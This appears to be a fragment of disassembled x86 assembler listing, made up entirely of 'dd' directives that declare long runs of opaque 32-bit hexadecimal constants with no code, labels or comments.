		dd 2071822Fh, 6129C960h, 0E94B136Eh, 5F7CB074h,	772F559Fh
		dd 0C150F269h, 0E222D1BDh, 8ED8E0E9h, 914182B0h, 0FA572860h
		dd 0B727B295h, 744F0272h, 998B97C8h, 88E70977h,	0C9A10E1Ah
		dd 9634D268h, 5440261h,	60FB5251h, 0A05678DBh, 7C5B7025h
		dd 2CEA2DB5h, 4A598006h, 21E2DA4Fh, 20BA8078h, 30DF1316h
		dd 16100243h, 9809A53Bh, 2077FA27h, 58006BBDh, 7A494C2Dh
		dd 318F0F31h, 0C297642Eh, 0EF7734D2h, 829047E8h, 57D1E2B5h
		dd 6842C6F1h, 0F3D47D05h, 6B6A7C62h, 5D06F0A8h,	0E5545096h
		dd 5613A908h, 65F988F9h, 0F3CCC130h, 84D35029h,	88C1EF36h
		dd 218158F8h, 0AB74C6E3h, 0E8C02A76h, 41ECD04Dh, 2563C531h
		dd 0A3FD7B7Fh, 3BC330F1h, 2590D336h, 37C673D2h,	0D97C9827h
		dd 0C9EA427Bh, 46838209h, 69185792h, 47BD7959h,	585E2678h
		dd 754FABE9h, 0AFE4B2ACh, 0A25B47ADh, 82A61B51h, 0A823BA83h
		dd 5C87A83Bh, 8EE3D601h, 0FC384F45h, 0FD4A78B8h, 65DCEBE5h
		dd 184E096Fh, 2809E3D1h, 0C793C07Ch, 0C15E71FCh, 25EAD2B2h
		dd 0F7D6206Dh, 74FED65Fh, 0D8F4BE3Fh, 74275C6Bh, 6DBBC2A4h
		dd 0DCB9A599h, 2C7D1857h, 8F13944Bh, 848C8BAAh,	83D5FCE9h
		dd 7B003E4h, 9709716h, 0C4A1F2EEh, 5646868h, 0B222F99Dh
		dd 1C41D6AAh, 9103A21h,	0C45F2607h, 9A73C402h, 5E58416Eh
		dd 5B46F72Fh, 0D5178CB8h, 839EA366h, 535EF1h, 0C25D61F6h
		dd 2ACF8112h, 7B563105h, 49A8EFE9h, 53A0B800h, 143549F6h
		dd 6ED86500h, 5C2DD0F7h, 0A9BC0093h, 0FF054048h, 5F60B442h
		dd 9BBEE052h, 0C72D0B8Ah, 62020106h, 78105F8h, 7CC8E95Fh
		dd 0A1345A9Fh, 8457FFE4h, 5F515F27h, 7AB1743Eh,	2B63BDC0h
		dd 18EBF34h, 39132962h,	4CD5F9C0h, 111B409h, 0DD1000CDh
		dd 1BEDE581h, 115B364Bh, 0F4FEEFB9h, 924DE9BDh,	0DEF61738h
		dd 477608EAh, 530F7A7h,	7B9733F4h, 1AD3A475h, 516016CFh
		dd 77821218h, 0F66ED4F6h, 0C5806E9h, 0A8BF698Ah, 0C02B0F27h
		dd 0CE69EC2Fh, 2858D940h, 0C280DA0Eh, 4BEA66AAh, 662E0906h
		dd 0DBC0C05Bh, 85A4777Dh, 641F4C0Fh, 35E66401h,	448F08Ah
		dd 0F6427A2Dh, 0F178D675h, 2DCDBF1Ah, 0A0B25944h, 8422335Ch
		dd 329A6620h, 90CC3BC3h, 7A7F696Fh, 0B15D0828h,	0BB9E19FAh
		dd 0C25F7427h, 0D156D953h, 1F56F469h, 0E3163F52h, 4E99F3DFh
		dd 855E71EAh, 9EC33202h, 9CF4ADD2h, 54B50BCEh, 975043DDh
		dd 51F16E16h, 72599FF8h, 4D5CE916h, 0B1112994h,	4828C32Ch
		dd 11F5CC7Ah, 2549F559h, 59BE415Dh, 27AC4F61h, 238909D0h
		dd 0B6012964h, 0C0C6FE0Eh, 91FC03E6h, 0DE7197B4h, 9257F42h
		dd 23D34730h, 0A86274BDh, 1D5CF1CEh, 16E86E45h,	6B00BF96h
		dd 72BE4115h, 50C43168h, 3E5B584Bh, 165076F2h, 0DC07B706h
		dd 390BFE2Fh, 5B24E54Ch, 8378B152h, 31024AC2h, 96D44C34h
		dd 16AB5B3Eh, 7574E9A8h, 418F6417h, 0A54552E0h,	0B1F02FD1h
		dd 84E9CDC2h, 1E0DDB96h, 0A00CD251h, 0F4955D49h, 0AC72F24Eh
		dd 0C634232Fh, 6FA284A5h, 0EBD85050h, 48970168h, 8263CE67h
		dd 9891D2DFh, 750D3448h, 93A5BF39h, 1E89E660h, 0CB3AFB36h
		dd 0F43E6Fh, 5E0858EAh,	3BEB2CD7h, 0A2674F31h, 125F7936h
		dd 0CFFC3369h, 7AB70896h, 1F25E9A2h, 621D7614h,	8001E45Ch
		dd 0C1CC58C9h, 0EF1EC6Ah, 59CA285Fh, 7AD7D409h,	185D9526h
		dd 9E74C03Fh, 982483Ch,	60736CAEh, 34B90D80h, 7B2D4622h
		dd 0C1C48D1h, 2156EF12h, 929A2370h, 5EEEEBEFh, 0AB26C955h
		dd 8986CE1Ah, 0D8506FA5h, 8A5E1067h, 312129D0h,	891A1F23h
		dd 0DDB349E8h, 0B460B05Eh, 95533713h, 93C2F720h, 71C7338h
		dd 8CF4D0E9h, 2EC9E4BEh, 68125A61h, 0FA4D14FCh,	0B70A29E0h
		dd 0B2ACA18h, 5061771Dh, 7B6A0E80h, 0BFDDE966h,	75949310h
		dd 0DA170728h, 59E1B625h, 0B2D4424Ah, 62BFFB48h, 69EF0496h
		dd 0B220A24Bh, 0D9F282A8h, 99D95DE5h, 8B95B52h,	590EF97Dh
		dd 0EB42E555h, 44C4AF34h, 0EE802480h, 0F128043Fh, 0BE7C05E9h
		dd 4A3E5032h, 0C9735F3Eh, 0A91FE60Bh, 1CE5F5FEh, 0D845017h
		dd 33C52080h, 3C703E13h, 838FEA35h, 6B3B37E3h, 0B88B8E4Dh
		dd 0CCAA1319h, 0B7122D45h, 0B1ABEDF6h, 34B7005Dh, 0D6B5F952h
		dd 38D5096Bh, 0EB3FFCh,	7B0B2B1Ch, 9FBB9878h, 43587099h
		dd 8B161951h, 0B808D989h, 13FF2C50h, 0B868EF7Dh, 68530B5Ah
		dd 1C662A98h, 320F6603h, 406ABB65h, 7F55CC0Bh, 0AA485A59h
		dd 2508BB10h, 25A5D15Ah, 535038FCh, 2C6D7DBBh, 10394073h
		dd 0A8B114E6h, 82EA20ABh, 0D2EAD792h, 0DE582472h, 5A954FEh
		dd 0B635CA00h, 58C60997h, 46F60481h, 0BF447C49h, 0AAC77C4h
		dd 0E129E85Ah, 0C1015730h, 0B29541E6h, 2E44652Ch, 0E3E165BDh
		dd 0A3B004C9h, 45242588h, 8A6105FEh, 94440F1h, 8B1831B8h
		dd 0D4783F48h, 0EE885580h, 68EC0CB5h, 0BD1F7AEBh, 1D64F19Dh
		dd 704AA413h, 0C0821E9Ch, 28EFB176h, 9FBD3299h,	79B87D7Ch
		dd 0BD48FB95h, 0C9EF0B92h, 0EDA82FEAh, 0B0ADFAA4h, 0EC9113D6h
		dd 0E9F004E6h, 24FA4CC4h, 4C8DAB80h, 543B0541h,	8A0130D4h
		dd 0A840809h, 0A88D413h, 808146CCh, 6607C380h, 7CB5585Ah
		dd 0AAE46507h, 47F41153h, 7B901740h, 3E5213h, 7A1F2889h
		dd 2A25E933h, 0DE32F732h, 0B676D840h, 56E000BCh, 2825E0BEh
		dd 418905E2h, 0ABCD4178h, 0ED810043h, 4A1802A9h, 9560E975h
		dd 6D05F690h, 8430C012h, 0C10B80FFh, 0F65E0ACAh, 517867F8h
		dd 313C08E9h, 0F938AB5Eh, 0BA520450h, 0C26C091Dh, 0C9686958h
		dd 8F130F42h, 28EEA8D8h, 0E5409328h, 82BBFBDh, 5DF2A3D7h
		dd 8C688958h, 424E63Bh,	3F6F0241h, 0D33EACF8h, 68C0EE4Ch
		dd 47A21E9Dh, 664A3A90h, 4A7C0328h, 0E24D5058h,	101D611Ah
		dd 59D1D675h, 0A866FE52h, 1663B900h, 0E1C12220h, 0F490603h
		dd 242D608Eh, 0E78C0EC2h, 0E1090B39h, 5694B370h, 52B4D572h
		dd 63F35F50h, 24D3A40h,	0CDD42D95h, 3B76FC22h, 990DD072h
		dd 88E9C127h, 42316F4Bh, 0C514209Ch, 0AD9BAE8Eh, 3885D31h
		dd 0B25B0330h, 0CC6FC85h, 5EADF521h, 20A2659Fh,	1B4BEB2h
		dd 4484202Dh, 74B07ECFh, 0A61A5AB6h, 185D1268h,	0B7D64CE9h
		dd 49834CDDh, 97C44BEBh, 58608AAFh, 0DF9510B3h,	1C2D4548h
		dd 56920BD9h, 0FA96F2FCh
		dd 0A958DACBh, 0EA4E2838h, 4BB0F52Ch, 5FBBB272h, 5605EFE9h
		dd 8752A00Dh, 7E7F106Bh, 70F2D0Fh, 0C14AAA0Bh, 3A5508C2h
		dd 0FE008B38h, 0E96C0EFCh, 82AC0C51h, 0C29FBEF2h, 616DD711h
		dd 0CC4F2990h, 45BDB2D5h, 0A3680BBEh, 883798FFh, 674E4DEh
		dd 0FCE90187h, 0F10733D1h, 5F6F0FFBh, 5397D7B4h, 50F1DB54h
		dd 5192B96Fh, 5E52CFFh,	17F625D7h, 2EC69D01h, 1EA4508Fh
		dd 0A98B5A08h, 0C69F73FCh, 1AFC3C47h, 19E807B4h, 6E6C00Bh
		dd 5C045E8Bh, 0E99CE06Eh, 675E5D2Fh, 0F3163F4Fh, 0C4CCA883h
		dd 0BF0067B5h, 1AEC7EA0h, 0A10B687Ah, 54582B7Fh, 90DFEB95h
		dd 0B2C9E973h, 807F9D9Eh, 0E78514AAh, 6022B83Fh, 5AD17171h
		dd 475CC2Ch, 5D1CBCE9h,	0D3311DF6h, 354FDDD2h, 0D07B280h
		dd 0EA6359CAh, 68063724h, 5DC2E712h, 70178206h,	5428B1E9h
		dd 5D406397h, 68E18D04h, 0F7AD76BDh, 4BD0FCA5h,	0BE963CEEh
		dd 0DFF32C5Bh, 0D567A504h, 6AE1FF69h, 0A145344h, 0BA2F6069h
		dd 584D6018h, 63205F79h, 0B7317A9Fh, 388EAB41h,	572D69h
		dd 6729BC44h, 0B858BD23h, 0B7320782h, 3889360h,	7D5259B6h
		dd 0A074CE74h, 0D067C9BCh, 0E21CAF92h, 62F2C28Fh, 9457D788h
		dd 54609DE0h, 86828021h, 2F0B1F66h, 0CDC933B5h,	33A6CF81h
		dd 0D25A5926h, 4A242716h, 5FF0A0AFh, 7314DC97h,	0E957BD06h
		dd 3D387FF5h, 0B51CB353h, 0B4F625E4h, 68BA3517h, 9948E98Eh
		dd 54F280C2h, 3E2DD67Eh, 259BD089h, 10B1EF88h, 50CF6228h
		dd 71BD6A32h, 53A38229h, 0BBB247EDh, 0DA434D8Eh, 2F0116E9h
		dd 765EEF81h, 0A57B22F2h, 5D080203h, 0D28EFC5Fh, 41C91680h
		dd 3500060Dh, 6E812701h, 9D44FBE9h, 3AF0F5B9h, 6A4E39EBh
		dd 0D653E427h, 0A9EA8441h, 0C9FEF012h, 6A02AE9h, 0E6E3B5D1h
		dd 1302063Eh, 734B0B36h, 6F4C7F63h, 52273A80h, 74883494h
		dd 2782419h, 59158BCh, 0A10B1AE8h, 1BC5AA9Dh, 26E63F34h
		dd 0D8A30993h, 0BB5F98FFh, 22250C52h, 0F6A5144h, 77EFD5C9h
		dd 0B2032C42h, 6EA8A5C7h, 2427E93Dh, 2FAEF391h,	0B5651D4h
		dd 0D6315F5Ch, 0E2E055EAh, 0CC4AC8E9h, 67B159B8h, 23FD04A9h
		dd 0EC881E84h, 0A852DED8h, 0CEF60BD7h, 0EE29240Dh, 827F27C6h
		dd 5D895D80h, 0F781D8D1h, 3EBBE9D2h, 1392E148h,	0EB31B005h
		dd 0A080250h, 0B22241E9h, 0BE5693BDh, 5B63DD88h, 0FFD49466h
		dd 1FDA6F81h, 192DF13Dh, 67BA09EBh, 0D2D2EB2Fh,	0F120C02h
		dd 3DC64C32h, 8718D064h, 1FE453A0h, 4918562Eh, 9A2121AEh
		dd 704B58C3h, 0D25A62D4h, 0E4929EA6h, 4E4A63C0h, 1293A9A2h
		dd 0E01189F1h, 0DFCFF2ABh, 9D92FCEBh, 7BACE6BEh, 58BDAD4Fh
		dd 13F8C11Ch, 4FF0A8F1h, 3ED8CF17h, 59C82521h, 0B404420Bh
		dd 9D61FE3Fh, 973A0DD3h, 0AE77276h, 1AD220FDh, 505EE115h
		dd 722FC05Ah, 0F70064Bh, 0F1678485h, 437CDC97h,	165F60DEh
		dd 8F684904h, 50D71E88h, 3491877h, 684A9E99h, 21126660h
		dd 23A26F95h, 0D9B4B685h, 2C05E5B7h, 3DB35A73h,	0DC0811D2h
		dd 0A0BBA02h, 5C5D7A86h, 4FCA00FCh, 0D17B6D1Eh,	70EA2BF3h
		dd 0A6ABC28Eh, 7FA03125h, 0D2DDEDA9h, 33A29D50h, 97AB3170h
		dd 142D2C70h, 0FC4B1996h, 0FF284D35h, 74D20F10h, 0DA7E8B2Fh
		dd 1BE60108h, 0E9039739h, 578D57E0h, 5844B97Ch,	1935809Dh
		dd 1810C15h, 5A10D1E3h,	3548E92Ah, 1EF97B79h, 266857A0h
		dd 0F4E177Bh, 22339CB8h, 0E2E9530Fh, 1A307A07h,	7A6D52h
		dd 566CBB1Eh, 0A5E9106Ah, 0F2257C63h, 1C31EF5Eh, 9DF42EEBh
		dd 962BBE38h, 93C7EFC7h, 0F52B54C2h, 28B4CE64h,	4A27CC89h
		dd 2E255D4Ah, 1672E377h, 0CDF42516h, 4906F0D9h,	0F14A88C0h
		dd 66B341B1h, 0F3B1300Dh, 0AAB95105h, 0EA01A60Eh, 0E07F79E1h
		dd 0FB7FB02Eh, 20FC0F13h, 9875CB02h, 0F45BC0AEh, 0D7D9A955h
		dd 4F71CB3Fh, 0B72904A4h, 5A66017Eh, 0C86C5AD4h, 3C4B873Ch
		dd 92A971EAh, 0FDF24825h, 2CBA7E4Ah, 61B3EE03h,	1B5B5288h
		dd 1527CA68h, 5A96E0CAh, 74C24C31h, 80121620h, 0DE8C1ECh
		dd 0F2C85B70h, 7D8DC4A2h, 1701C346h, 0BB01A4B0h, 68720D7Ah
		dd 556C2B3Eh, 0B6B126C2h, 6549A860h, 697771B7h,	7D6B7F56h
		dd 0AF8BFB24h, 0F2BFE612h, 8A19D6E6h, 0E3DB5D86h, 0F1930394h
		dd 731126A7h, 423382D9h, 0A290C172h, 0A98399E0h, 0A36E15C7h
		dd 7CA85B07h, 4A56AAA5h, 7999606h, 1B009D9Fh, 0CD38CABAh
		dd 0A0050401h, 2D545B15h, 5EB549DCh, 98A103h, 8CA1E907h
		dd 2F22E697h, 4AF9086Fh, 262C6885h, 0BA3D9CAAh,	8D8C3C5Ah
		dd 0EA781727h, 0BDA01050h, 4D0AC3C0h, 0CC115EFh, 729D746Ah
		dd 2688C610h, 54E47897h, 9559FA80h, 2F1820F5h, 0ED5CFD7Ah
		dd 247E6DE4h, 276312Bh,	129A3D7Ch, 3E1D4075h, 5F427D93h
		dd 7845A6F9h, 81707D49h, 3E3A0B60h, 7006E42Eh, 0E94A7A0Bh
		dd 2CA2DFF9h, 0D6572C4Dh, 195F520Ch, 9835719Ch,	8D20F0C1h
		dd 2F6D4187h, 2F2DDA20h, 64447E2Ah, 0BB882D8Ch,	0E8F765C1h
		dd 56E8E5AFh, 12D7F398h, 0BAA4ECFCh, 50B6CAC4h,	31F51269h
		dd 0A23E5438h, 87A222h,	2F6D685Ch, 0C562D4BEh, 45BB00BFh
		dd 3238C430h, 0FBE0D04Bh, 23D5C903h, 7B5BD929h,	48C10506h
		dd 710EEE66h, 6CD04B89h, 52558436h, 5794DAC1h, 0BBA39CCh
		dd 30E0254Ch, 8B3FE4DCh, 0FF5E5A56h, 85BE763h, 0F28B86B8h
		dd 0CD68D0Ah, 980C7EC2h, 881366FEh, 0A3AED589h,	0BD0B93F5h
		dd 5F5E91Eh, 0EAFC132Bh, 0C9A5C061h, 0EEB15E03h, 0A1680062h
		dd 6C1CB160h, 68185069h, 9663332Dh, 835C4A0h, 21CB1F30h
		dd 0AC84C765h, 7568846Eh, 8B3AE641h, 5A48555h, 0E200F5FDh
		dd 639A6F85h, 0C8B0D2F7h, 51D16815h, 3CE90921h,	503D766Fh
		dd 689D6CFCh, 7A015A4Ch, 0C57D4FCFh, 0E4DDEE0Eh, 3334A2DDh
		dd 111650B6h, 5CCAE205h, 48106C7Bh, 0D1FF9622h,	0EF137DB8h
		dd 0E59056E4h, 2E976A22h, 9BE5A0Dh, 0EB7C1A65h,	7F52B870h
		dd 65509A4Fh, 0EB050D4Eh, 0A62D3740h, 4C3BB35Bh, 7405029h
		dd 95F159E9h, 101B2D07h, 0F829E30Fh, 0E907059Dh, 4E924BBEh
		dd 0ABC0C78h, 82BBE52Dh, 0E95CDA8Ah, 0DAE6AC89h, 0CC36A120h
		dd 0F5C339E6h, 95272213h, 97CDE304h, 8F7CF012h,	80B72A5Eh
		dd 7C094D7Bh, 139FE35Eh, 933108D8h, 0EC7FC788h,	0FCC7A7B7h
		dd 0E958E6E0h, 0D0CF5F91h, 87A3529h, 74686D0Ch,	5A8E6726h
		dd 9C71D1EEh, 7F5936D7h, 0D240DC2Ah, 807EB204h,	81AE64F2h
		dd 6B66B96Dh, 670391C8h, 0D1C2E725h, 206E9C21h,	57015040h
		dd 870F41A0h, 0E7A74A3Bh, 0E9C5A1DFh, 3B813DF8h, 117B0AE6h
		dd 84A02F42h, 92299F7Eh, 0D52A0A50h, 0E912731Ch, 0F9CC35A3h
		dd 2D2412Fh, 0C77138E0h, 79B2E10Ch, 87E009C7h, 0AF8BBAFDh
		dd 0DB2D1873h, 0E02209DBh, 6B3099FFh, 0E43F7775h, 64406D30h
		dd 5B88EAB0h, 1C7588C5h, 0B62DF280h, 0FD06288h,	0BDC0A50Eh
		dd 0EC8603B2h, 2B2F2106h, 5096FF6Dh, 0EBBDBBFCh, 0A4594F2Fh
		dd 9970CDBh, 0BE1ED564h, 494E3D4h, 6EEB136Ah, 0CCA1F182h
		dd 0A34E24D3h, 1458BF49h, 9C4D6A05h, 0F78B8075h, 785A035Dh
		dd 33891E4h, 317B2522h,	0A44F5FFDh, 0E9B402BEh,	0A2F14B3Fh
		dd 10967FADh, 6CAA5B4Bh, 89EEE954h, 0BA6648C6h,	0D5F4CEACh
		dd 29205AEFh, 0BBCBE9C5h, 41B28BBAh, 0BE2CD43Fh, 0A6B89156h
		dd 0B350904Ah, 0F9E5D351h, 0C9372BCFh, 6E80C304h, 9DD328F2h
		dd 408D9F69h, 193689Dh
		dd 0E98454BBh, 0C0004818h, 0C38004EBh, 0AE37ECCh, 58D8E0BEh
		dd 9810CF5Bh, 0B4497561h, 0FD680206h, 0FF2C280Ah, 0BA025C16h
		dd 44E82016h, 6AEC7531h, 5A65A180h, 97ECF7Dh, 2DB87AEBh
		dd 0FFCAA93Eh, 0E6839A93h, 43012F70h, 0D5448A51h, 0F1948394h
		dd 0BF12DA9h, 17F32B42h, 0F1E360Eh, 0F70D0152h,	6C0C9C3Dh
		dd 7308045Dh, 20C1FC46h, 243B80FEh, 0D10D5032h,	59747C2Fh
		dd 5F182268h, 4A685691h, 2F87F1F8h, 343F12DEh, 0D218CACAh
		dd 6BD79616h, 0D91FFF60h, 0DCADF73Ah, 0D769E459h, 384440D1h
		dd 5379B3BBh, 0A1552865h, 1A82D75Eh, 0EAC27FABh, 211ECC57h
		dd 0F82623Eh, 497DBD88h, 1C6450Ah, 0E1D6F75Eh, 42D5285Ch
		dd 6BE9C27Bh, 48C17A46h, 8003F405h, 57328D1Fh, 7B5854FAh
		dd 0C8045D9Fh, 0A7BBACB5h, 0F6680FC9h, 28E4FE62h, 132C40F3h
		dd 0E2975970h, 151961A7h, 0C62A9C4h, 555EF731h,	22000C14h
		dd 23BD6F9Ah, 0B82B1939h, 0CDE93ABDh, 4E88CF5Eh, 2C4F3B2h
		dd 52C2130Ch, 860B7D9Dh, 18FE455Dh, 4C4B0E45h, 0F20B9C2Dh
		dd 0AFACBE16h, 0B0FC9C5Fh, 548B60DEh, 9E7F87BBh, 4A77E4C2h
		dd 0BDF7071h, 12C5439h,	0BD314F02h, 9DAFC09h, 0BA5DE050h
		dd 2D2FC0CFh, 0A2350D9Dh, 3BEE8DE9h, 87E1C6E8h,	1614C242h
		dd 0AAC017E9h, 0D5C29492h, 0D04F1EE4h, 95355903h, 97BF91Bh
		dd 0F3FBE744h, 179909F5h, 0E410DD22h, 799F6AE4h, 0EDC48DDFh
		dd 0EF74D0B9h, 70779B25h, 7267A1DDh, 0F1E7F7C2h, 0F0B9BA9h
		dd 0CB18AE17h, 41254843h, 3D2D81A5h, 0DBE45FEFh, 0CA73D2D5h
		dd 0B3EA9273h, 10EF5847h, 0F06734Bh, 6D58F385h,	24625A24h
		dd 8051B260h, 0B47F00C2h, 0F2815975h, 790A15CDh, 855B5268h
		dd 96B3542h, 84ED29E3h,	4A7EE8E2h, 87C730A2h, 0BEE380D3h
		dd 56B80567h, 1CDF35Ch,	860F7A85h, 0CA3ED59Eh, 74E01862h
		dd 543BD3Eh, 0C14C8F6Ch, 81830EE5h, 1B2DABD2h, 0AB084F7h
		dd 718F0FBFh, 0B2462C74h, 644B144Dh, 1B3D1FBh, 0EDCA6E0Ah
		dd 6D963028h, 600D0632h, 0BE800D68h, 2F4A16ECh,	5593B225h
		dd 1F912AB2h, 0B3A4FE9h, 0D1F35509h, 2CFB76EEh,	9559E988h
		dd 2AED4E98h, 2B946882h, 5716E9F1h, 417A0D0Fh, 0C9E97E3Ch
		dd 9D0EE82Fh, 41F03A75h, 8CED0751h, 4B40E9BAh, 22121466h
		dd 93047F55h, 3DBF3EA3h, 48C56D8Dh, 67997338h, 0C8685780h
		dd 7F502C32h, 0E25E2A5Fh, 98C104E1h, 0BB209336h, 0E087D3C5h
		dd 0B5D57819h, 1EF075FEh, 0AA28D3FDh, 0D95A5393h, 0FF2D3936h
		dd 30205D12h, 85B35357h, 0C9DA8826h, 6712D012h,	0BDBA6184h
		dd 0B551E133h, 2567B6E8h, 0C8F4B9E9h, 0B38172Fh, 36C06EE9h
		dd 6D1E05BBh, 0A69261FBh, 241229FDh, 9C0FCC4Ch,	794A1C98h
		dd 0D35C1372h, 496927C5h, 102D2A9h, 0ABB360D6h,	76D5280Dh
		dd 9D9A2085h, 44AA2D4Bh, 0BF4ACCEFh, 7266758Ch,	3BD39455h
		dd 7D0F715h, 860AE85Bh,	9036862Dh, 75F201CDh, 29EC3792h
		dd 0B2C06ED1h, 4F21064Bh, 58A3A013h, 0C3DC1141h, 74312E68h
		dd 75C2CFA5h, 3CFE2F9Fh, 6D005A26h, 0E90F4F0Dh,	3B2459B6h
		dd 5BE6EE7Eh, 21EFD73Ch, 0EF7BF406h, 0D700EB83h, 278E7559h
		dd 0A205C829h, 63F1FF07h, 0C7F8E904h, 0B2B477EBh, 47FD62A7h
		dd 0E42DEFh, 207E72B7h,	0B0EA4439h, 0DE972670h,	84F5C11Eh
		dd 2A15F5A1h, 0F9CCCFF5h, 728A0B3Fh, 57FC201h, 4F840F77h
		dd 0A8EF9700h, 0A063EE48h, 808C08ADh, 5959E830h, 9E8C9F28h
		dd 0BA1C53h, 6D1608B1h,	1A800F42h, 0FD070BB7h, 2EBE6B8h
		dd 0CD160BE1h, 824E9416h, 0C961EBBBh, 6F4581EAh, 6011E620h
		dd 6BED5720h, 0F6D118D3h, 0F9150026h, 76FF4B98h, 0B6B07607h
		dd 5DC8825h, 77B1A9AEh,	136DAB2Fh, 82BFE330h, 60B16691h
		dd 7DBEC881h, 0A2794942h, 0D70B36BDh, 0F4B7359Ch, 6A147931h
		dd 0F4B9E01h, 0C434ED8Ah, 7701B843h, 0FAA5D249h, 0F1D1B7C9h
		dd 0DC9DBD08h, 6C310904h, 417BA57h, 7FECDE51h, 0A74BA84Ah
		dd 689BDBE2h, 0F6685214h, 13032538h, 0AB42C40h,	4E399420h
		dd 0FB5716BBh, 6012A519h, 0E3D8A4EAh, 5FEB9CFAh, 66134EB4h
		dd 27259AFFh, 0D03FD602h, 0EAE4D530h, 0C28608C3h, 0F8819C50h
		dd 0AAFD0F6h, 28B71BE5h, 8C68D5E0h, 5BE0A823h, 0BFAA8362h
		dd 5295A878h, 0EFEE5A60h, 20DDBD10h, 0C5301537h, 51412D66h
		dd 0A749EFC1h, 0FFC269D5h, 0AA20FEC4h, 0FB6812FDh, 0DD8E8C15h
		dd 2BDC1A4Ah, 0A5549F51h, 524EE941h, 8040416Bh,	0D8306140h
		dd 230D94C9h, 0A6E90991h, 0A37F0C65h, 3F29848Bh, 80663DABh
		dd 80BA5264h, 0F205591Eh, 0AE59DD1h, 0BB534980h, 58055733h
		dd 0DA16B250h, 8704AF2Dh, 0B9000F18h, 4762653Eh, 68515001h
		dd 52A315D8h, 44DCA720h, 6B09F1BFh, 0D472E432h,	0E880C0Ch
		dd 7A09C71Bh, 0DD78B63Bh, 25087728h, 0E93727C6h, 0DD7733EAh
		dd 0A3E7D472h, 1713F6AFh, 0BB36E5F3h, 9F0CDD68h, 0F49815ECh
		dd 1562E20h, 1C748BB8h,	0D43B050Fh, 0F7B83A10h,	0A0E9080Ch
		dd 77B46AECh, 0FEAD5970h, 890D444Fh, 0D1B91315h, 49973079h
		dd 0E6CC8054h, 3BA6529Fh, 4CFF305Bh, 0DE840BB1h, 34AB17B3h
		dd 0E5B10078h, 0F343970h, 0CF308416h, 90F2D0BDh, 4255AA49h
		dd 9AF741ABh, 13399068h, 0F1D6A8B2h, 6152D6Dh, 83242158h
		dd 35BBF39Fh, 9880E9C3h, 1EE7308h, 4FB85035h, 610A421Fh
		dd 93E14207h, 2F685C01h, 4C29F54h, 8198FC4Dh, 6B0266A2h
		dd 0CDC27F47h, 62EDD9B3h, 0D622446Dh, 87590566h, 6377D1A7h
		dd 8B4A800Bh, 21759703h, 0EDEB0FEh, 0D50EA2EEh,	7506EF52h
		dd 62FD91E9h, 282FCE01h, 0FD289275h, 3BF3A648h,	4D23F505h
		dd 81C2DE31h, 62005C0Bh, 82902ADDh, 3180FAD2h, 0D898BDC3h
		dd 59132A68h, 3EA818DFh, 70B951B0h, 0E384403h, 25FE23E9h
		dd 46868644h, 7D5A9C88h, 85CDCE40h, 0B0496947h,	4A284A87h
		dd 9F9DD67h, 36FD5891h,	0AA9229D8h, 3D7A01D3h, 0F1521C08h
		dd 82DF54D8h, 975C5DEh,	0A9D1D772h, 718236C2h, 526800CEh
		dd 5F4B8C48h, 768FF8A0h, 7456052Dh, 84081FB1h, 0FB09858Bh
		dd 120212A0h, 0FA2B106Ch, 291862B6h, 2579B6C5h,	4A44FF2Ch
		dd 77351E09h, 0DD97B864h, 0E9184E14h, 0C7D507A6h, 1E4BFA79h
		dd 0EDC568E0h, 0FB750746h, 919FEC95h, 0DA086B7Bh, 0EC3616B6h
		dd 3A083E5h, 0B4C5D741h, 0C828FD40h, 0E2C0B252h, 800703E2h
		dd 0DAF6B0CAh, 4357D292h, 578A9297h, 28599440h,	7961D85Ah
		dd 6D7C632Fh, 58322A1h,	80A144FFh, 0CDFE000Eh, 0A847C368h
		dd 9618B368h, 7FE941AEh, 130ABD32h, 4CB820A9h, 1A5551CBh
		dd 0C07AD191h, 8E0FE95Eh, 2FD489Dh, 0E7FC8295h,	760B4087h
		dd 9727FB9h, 58C3891Ch,	238ADED2h, 7FA13260h, 0D89D34C0h
		dd 0D771A053h, 8B38586Ch, 4C82B676h, 0BD404E54h, 307D12BEh
		dd 0DEFC1CF9h, 0EDCABD49h, 0D19384C7h, 7BC8BB00h, 9EF43301h
		dd 0C1AD0C62h, 53B960E1h, 908F82D3h, 89911A0Ah,	0E2DEA2DFh
		dd 91EB2950h, 0E3FA088Eh, 3D084F26h, 58AF3DEEh,	890F4740h
		dd 16128835h, 0C578F3EFh, 7A82D501h, 209982FDh,	0CFCD429h
		dd 42516EFAh, 9DEE05F7h, 30CF4BBh, 68D3CCA8h, 1908D631h
		dd 272B2EB3h, 41A9829Eh, 0F9C7FE03h, 8B3DDAECh,	0FA3A9012h
		dd 71E3F527h, 0F6B1034Eh, 3FDB78F1h, 581459D9h,	0F06A75C0h
		dd 3800E043h, 2D07610Ch, 0B04A12EAh, 80E5136Dh,	7A0E0D5Eh
		dd 1EC2315Bh, 0E9C67D0Ch
		dd 7E622CF0h, 5D05DDE5h, 55854DD4h, 8EA15D56h, 4002E04Bh
		dd 2D09E957h, 0B0D6655h, 1BDC6853h, 0D7692671h,	15E226D9h
		dd 56369FCh, 4E9C4AFCh,	9EC917Fh, 0F6FA05E4h, 8A26992Fh
		dd 5BD5E310h, 0FD7ACA28h, 656DC931h, 0DDA52764h, 5BC385F7h
		dd 5CF390BBh, 3EF9EEE0h, 5A42C3F5h, 80BD512h, 901434FDh
		dd 0EFA2575h, 6EF38E69h, 0B8F774F5h, 98500ACBh,	7AC195ABh
		dd 0ACF57553h, 9738542Ah, 8BB8FC49h, 6038B34Ah,	502F52E8h
		dd 0F929345Eh, 7E081F80h, 5309F24Dh, 259931B7h,	8A844228h
		dd 8001CC66h, 0B6524FF7h, 5AD83047h, 5BFC3E08h,	226EC17h
		dd 0F588584Bh, 0E978C9D4h, 0F60F4055h, 0CFFEDF19h, 3830D752h
		dd 254762B1h, 0B7026260h, 812E409Ah, 0A6A1D47Ah, 71D64E02h
		dd 0B5FED3F7h, 77520613h, 0A04381EEh, 0F6207E99h, 48512968h
		dd 1926814Bh, 87D4AF7Fh, 4E89F5A5h, 0C54412DCh,	0B33BB907h
		dd 6DD21A4Eh, 21E549F5h, 0B84B0478h, 10AA9382h,	97507ECh
		dd 14FB6FCDh, 64A59E2Fh, 40D4A8F7h, 48EB1AEBh, 3D1233FEh
		dd 2FFD2E4Bh, 1CAF0841h, 905B0224h, 4A26680Dh, 69F27FE1h
		dd 5345AAA4h, 24EFCB28h, 629B018Fh, 4209D571h, 0BBF94AA6h
		dd 1B10C42h, 0C02C24B8h, 0C226290Ah, 5A123F58h,	39487CA3h
		dd 0E119164Bh, 5F66D897h, 6930DBB7h, 4B304455h,	0EFCE8501h
